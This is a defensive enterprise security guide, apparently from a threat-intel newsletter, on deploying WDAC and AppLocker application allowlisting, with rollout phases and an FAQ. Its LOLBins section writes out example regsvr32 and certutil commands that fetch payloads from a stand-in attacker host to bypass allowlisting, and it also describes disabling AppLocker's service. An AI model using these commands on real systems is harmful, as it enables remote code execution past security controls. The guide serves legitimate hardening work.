Application Allowlisting for Enterprises: WDAC, AppLocker, and Blocking Unauthorized Code Execution
Application allowlisting is the most effective preventive control for stopping malware execution -- and the most consistently underdeployed one. The Australian Signals Directorate ranks application control as the single most impactful control in the Essential Eight framework, ahead of patching, MFA, and privileged access management. The resistance to deploying it is operational, not technical: allowlisting breaks things. An application that is not on the allowlist does not run, and in a typical enterprise, there are enough legitimate applications, scripts, and tools that the initial deployment will create friction. This guide covers the technical implementation of application allowlisting on Windows (WDAC and AppLocker), the methodology for building and maintaining an allowlist without constant business disruption, and the techniques attackers use to bypass application control -- so you can configure policy to address them.
WDAC vs AppLocker: Choosing the Right Windows Application Control Solution
Microsoft provides two application control mechanisms for Windows: Windows Defender Application Control (WDAC) and AppLocker. They are not equivalent, and Microsoft has been explicit since 2022 that WDAC is the strategic direction.
AppLocker: AppLocker was introduced in Windows 7 and enforces application control at the application layer. Policies are configured via Group Policy and define rules based on publisher (code signing certificate), file path, or file hash. AppLocker is enforced by the Application Identity service (AppIDSvc), which runs as a user-mode service with SYSTEM privileges. The enforcement gap: any process running with SYSTEM privilege can disable the AppIDSvc service and bypass AppLocker enforcement. Administrators and attackers who have achieved local admin can disable AppLocker. AppLocker is suitable as a basic application control layer but should not be relied upon as the sole defense against sophisticated adversaries who have achieved administrative access.
Windows Defender Application Control (WDAC): WDAC enforces application control at the kernel level using Windows' Code Integrity driver (ci.dll), which is protected by Windows Hypervisor-Protected Code Integrity (HVCI) when virtualization-based security is enabled. Policy is compiled into a binary and can be enforced without relying on a user-mode service that can be disabled. WDAC is not bypassable by a process with administrative privileges alone (bypassing WDAC requires defeating kernel-level enforcement, which HVCI makes significantly harder). WDAC is the correct choice for all new deployments. AppLocker is not deprecated, but Microsoft recommends WDAC for stronger security guarantees.
Key WDAC policy types:
- Signed and reputable policy: Allows all Microsoft-signed code plus code identified as reputable by Microsoft's Intelligent Security Graph (ISG). The lowest-friction starting point; allows most legitimate enterprise software without explicit rules.
- Allow-listing by publisher: Allows code signed by specific publishers (Microsoft, Adobe, your internal code signing certificate). Requires maintaining the publisher list as software is added.
- Allow-listing by hash: The most restrictive option; allows only specific file versions by hash. Any software update requires hash list update.
Recommended starting configuration: Deploy WDAC in audit mode (logging violations without blocking) using the signed-and-reputable policy as the base, then add publisher and path rules for business-critical software not covered by the ISG. Transition to enforce mode after the audit log has been reviewed and the policy refined.
Building an Application Inventory: The Prerequisite for Allowlisting
You cannot allowlist what you do not know about. Building an accurate application inventory is the most time-consuming part of an allowlisting deployment -- and skipping it is why most allowlisting projects fail.
Application inventory collection methods:
WDAC audit mode: Deploy a WDAC audit mode policy (using the base Microsoft policy) with no restrictions. WDAC logs every application execution to the Windows event log (Application and Services > Microsoft > Windows > CodeIntegrity > Operational, Event ID 3076 for audit mode violations). Collect these logs across your fleet for 30-60 days to capture the full application execution universe, including quarterly processes and rarely-used tools.
Software inventory from endpoint management: SCCM, Intune, and third-party endpoint management platforms maintain installed application lists. These capture installed software but miss scripts, portable executables, and tools run without installation.
Process execution monitoring from EDR: EDR platforms (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint) log every process execution. Export 30 days of process execution telemetry and identify distinct executables, their signing certificate information, and their frequency of execution. Rarely executed applications are the most likely to be missed in an allowlist.
Application discovery by business unit: Send a structured survey to IT, engineering, finance, HR, and other business units asking them to list every application used by their team, including tools installed locally, scripts run from network shares, and web-based tools that use locally installed components. Supplement with ad-hoc interviews with power users who often have custom tooling not visible to central IT.
The long tail problem: The standard enterprise application list covers 80-90% of execution volume. The remaining 10-20% is the long tail: legacy tools used by one team, scripts written by a specific developer, vendor-specific utilities for a piece of equipment, and administrative tools. The long tail takes disproportionate time to document and will generate the most friction during enforce-mode deployment.
Briefings like this, every morning before 9am.
Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.
LOLBins: The Primary Bypass Technique Against Application Allowlisting
Living Off the Land Binaries (LOLBins) are legitimate operating system binaries that attackers use to execute malicious code, evade detection, and maintain persistence -- specifically to bypass application control policies that allow all signed Microsoft binaries.
If your allowlisting policy allows all Microsoft-signed code (a common configuration), the following binaries can be used by attackers to execute arbitrary code while satisfying the allowlisting policy:
- mshta.exe: Executes HTML Application files (.hta), which can contain VBScript or JScript. Used to download and execute remote payloads.
- regsvr32.exe: Originally for registering COM DLLs; can execute arbitrary .sct (scriptlet) files from remote URLs (
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll) - certutil.exe: Certificate utility; can download files from the internet (
certutil -urlcache -f http://attacker.com/payload.exe) and decode base64. - wscript.exe / cscript.exe: Execute VBScript and JScript files; legitimate scripting engines that can run malicious scripts.
- PowerShell.exe: The most powerful LOLBin; can download and execute code, bypass Execution Policy, and enable fileless execution.
- rundll32.exe: Executes DLL functions; abused to load malicious DLLs by attackers who have placed a DLL in a user-writable path.
- msiexec.exe: Windows Installer; can install packages from remote URLs, executing arbitrary code during installation.
Blocking LOLBins without breaking legitimate functionality: Many LOLBins have legitimate uses that make blanket blocking impractical. The more effective approach:
- Constrained Language Mode for PowerShell: Configure PowerShell to run in Constrained Language Mode when the WDAC policy is in enforce mode. Constrained Language Mode significantly limits PowerShell's ability to be used as an attack platform while preserving its utility for administrative scripting.
- Script rules in WDAC: WDAC supports script enforcement rules that require scripts (.ps1, .vbs, .js) to be signed. Require PowerShell script signing for scripts running from network locations.
- Block specific LOLBin usage patterns: Use AppLocker or WDAC path rules to restrict the arguments or child process relationships for high-risk LOLBins. Block mshta.exe from launching browser processes; block certutil.exe from writing to user profile directories.
Transition from Audit to Enforce: Managing the Rollout
The transition from audit mode to enforce mode is where most allowlisting projects stall. Enforce mode blocks unauthorized execution; every application not on the allowlist fails silently (from the user's perspective) or produces an error. Managing this transition requires a structured rollout.
Phase 1 -- Audit mode deployment (weeks 1-8): Deploy WDAC audit mode policy fleet-wide. Collect execution logs centrally (forward to SIEM or use Microsoft's WDAC Wizard policy merging capabilities). Review logs weekly to identify execution patterns not covered by the base policy. Add publisher rules, path rules, or hash rules for identified legitimate applications. Target: reduce the daily audit log violation count to near zero before proceeding to enforce mode.
Phase 2 -- Pilot enforce mode (weeks 9-12): Enable enforce mode on a pilot group of 50-100 endpoints, selected to represent a cross-section of the organization's application usage. Monitor helpdesk tickets for "application not working" reports; these indicate allowlist gaps. Resolve gaps by adding rules to the policy. Target: fewer than 5 helpdesk tickets per 100 pilot endpoints per week before expanding.
Phase 3 -- Gradual fleet rollout (weeks 13-26): Roll out enforce mode in waves by department or business unit, starting with the most standardized endpoint populations (executive assistants, call center, customer service) and finishing with the most diverse application users (developers, security engineers, finance analysts with specialized tools). Maintain an escalation process for blocking emergencies: IT staff who can temporarily add exceptions while the permanent policy rule is developed.
Ongoing policy maintenance: Allowlisting is not a deploy-and-forget control. Software updates change binary hashes; new applications are acquired; developers install new tools. Establish a monthly policy review cycle and a process for requesting new application additions. New application requests should require: business justification, confirmation that the application is signed by a trusted publisher, and security review for applications with elevated privilege requirements.
macOS Application Control and WDAC for Mac
macOS application control operates through a different mechanism than Windows but achieves similar goals through MDM-enforced restrictions and the macOS security architecture.
Gatekeeper: Gatekeeper is Apple's built-in application execution control. It verifies that applications are either from the App Store, signed by an identified developer (Apple Developer Program member with a valid signing certificate), or notarized by Apple (submitted to Apple for malware scanning before distribution). Gatekeeper is enabled by default and should be enforced via MDM to prevent users from disabling it.
MDM enforcement of Gatekeeper: deploy a macOS configuration profile with AllowIdentifiedDevelopers = true and EnableAssessment = true. The most restrictive setting -- App Store only -- is impractical for enterprise environments with legitimate third-party software.
WDAC for macOS (preview as of 2026): Microsoft extended WDAC to macOS as part of Microsoft Intune endpoint security. WDAC for macOS uses the Endpoint Security Framework (ESF) -- the same kernel extension framework used by Jamf Protect and other macOS EDR tools -- to enforce application control policies. For organizations using Intune for macOS management, WDAC for Mac provides a unified Windows/macOS application control policy framework.
macOS-specific allowlisting challenges: Developer workstations running macOS are the most difficult application control target because developers routinely install build tools, language runtimes (Python, Node.js, Ruby), and utility packages (via Homebrew) that have unpredictable execution paths and signing status. Options:
- Separate allowlisting policy for developer workstations with more permissive rules
- Require all developer tools to be installed through Homebrew with a centrally approved Brewfile
- Use Jamf Pro's Restricted Software feature to block specific applications by name or signing certificate
The bottom line
Application allowlisting is the highest-efficacy preventive endpoint control and the most consistently avoided one, because deploying it correctly requires investment in application inventory, policy development, and change management that most security programs deprioritize in favor of detective controls. The operational reality is that an organization with mature application allowlisting (WDAC in enforce mode with LOLBin restrictions and PowerShell Constrained Language Mode) defeats the overwhelming majority of commodity malware execution and significantly raises the cost for sophisticated attackers. Start with WDAC in audit mode to build the policy, pilot enforce mode on a representative group, and roll out gradually. The disruption is real but manageable; the security improvement is substantial.
Frequently asked questions
What is the difference between application allowlisting and antivirus?
Antivirus (and its modern successor, EDR) uses a blocklist model: allow all execution except code that matches known-malicious signatures. Application allowlisting uses an allowlist model: block all execution except code that has been explicitly approved. The fundamental limitation of blocklisting is that new malware without a signature is not blocked. Allowlisting has no this gap -- any code not on the allowlist is blocked regardless of whether it is known-malicious. The tradeoff is operational: blocklisting requires minimal administrative overhead (add signatures as malware is discovered); allowlisting requires maintaining an accurate allowlist of everything that should be permitted to run, which is operationally demanding in dynamic environments.
Should I use AppLocker or WDAC in 2026?
Use WDAC. Microsoft has been clear that WDAC is the strategic application control solution and receives active development investment, while AppLocker is in maintenance mode. WDAC enforces at the kernel level with HVCI protection, making it significantly harder to bypass than AppLocker's user-mode enforcement. WDAC policy is also more portable: policies are XML files that can be compiled and deployed via Intune, SCCM, or Group Policy. If you have existing AppLocker policies, you can convert them to WDAC policies using the ConvertFrom-AppLockerPolicy PowerShell cmdlet. The only scenario where AppLocker might be preferred is if you need rule-based restrictions that WDAC does not support, such as per-user application control rules (WDAC enforces per-device, not per-user).
How do I handle software updates when using application allowlisting?
This depends on the rule type used to allow the application. Publisher-based rules (allowing all code signed by a specific publisher certificate) automatically cover new versions of the application without policy updates -- the new version is still signed by the same publisher. Hash-based rules (allowing specific file versions by cryptographic hash) require a policy update for every software update, since the new version has a different hash. For broad enterprise software (Microsoft Office, Adobe Acrobat, major business applications), use publisher-based rules to reduce update overhead. Use hash-based rules only for high-risk applications where you need to control the specific version that runs.
What is PowerShell Constrained Language Mode and how does it help?
Constrained Language Mode (CLM) limits PowerShell's capabilities to a safe subset that prevents its use as an attack platform. In CLM, PowerShell cannot access the .NET type system directly (blocking techniques like reflection and inline C# compilation used by many attack tools), cannot use COM objects (blocking certain lateral movement techniques), and restricts the use of certain cmdlets commonly used in attacks. WDAC automatically enables CLM for PowerShell when in enforce mode -- any PowerShell script or session running in a WDAC-enforced context runs in CLM. This significantly degrades the utility of PowerShell as an attack tool while preserving its administrative functionality. Administrative scripts that require full language mode must be signed with a trusted certificate.
How does application allowlisting interact with penetration testing and red team exercises?
Application allowlisting is the control that most limits red team capability, and testing it should be an explicit part of penetration testing scope. Red team tests against allowlisting should cover: LOLBin abuse (can the team execute payloads through mshta, regsvr32, or certutil?), PowerShell CLM bypass (can the team escape Constrained Language Mode?), DLL sideloading (can the team load a malicious DLL via a signed application?), and installer-based execution (can the team install a payload via msiexec?). The pentest findings from an allowlisting test directly inform policy hardening: any execution technique the red team successfully uses indicates a gap in the allowlisting configuration that needs to be addressed.
Is application allowlisting feasible for developer workstations?
Developer workstations are the most challenging application control target, but feasible with the right policy design. Developers install build tools, language runtimes, package managers, and utilities that change frequently and have diverse signing status. Options: deploy a less restrictive WDAC policy for developer workstations that allows signed code plus code in specific developer toolchain paths, or use a separate developer WDAC policy that allows all publisher-signed code from approved development tool vendors (JetBrains, Microsoft, JDK vendors, Docker) while still blocking unsigned executables and scripts from user-writable locations. The goal is not identical protection for developer and standard workstations -- it is applying allowlisting to the extent practical given the different operating environment, while maintaining full enforcement on standard user workstations.
Sources & references
Free resources
Critical CVE Reference Card 2025–2026
25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.
Ransomware Incident Response Playbook
Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, weekly, no spam.
Unsubscribe anytime. We never sell your data.
Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals weekly.
The Mythos Brief is free.
AI that finds 27-year-old zero-days. What it means for your security program.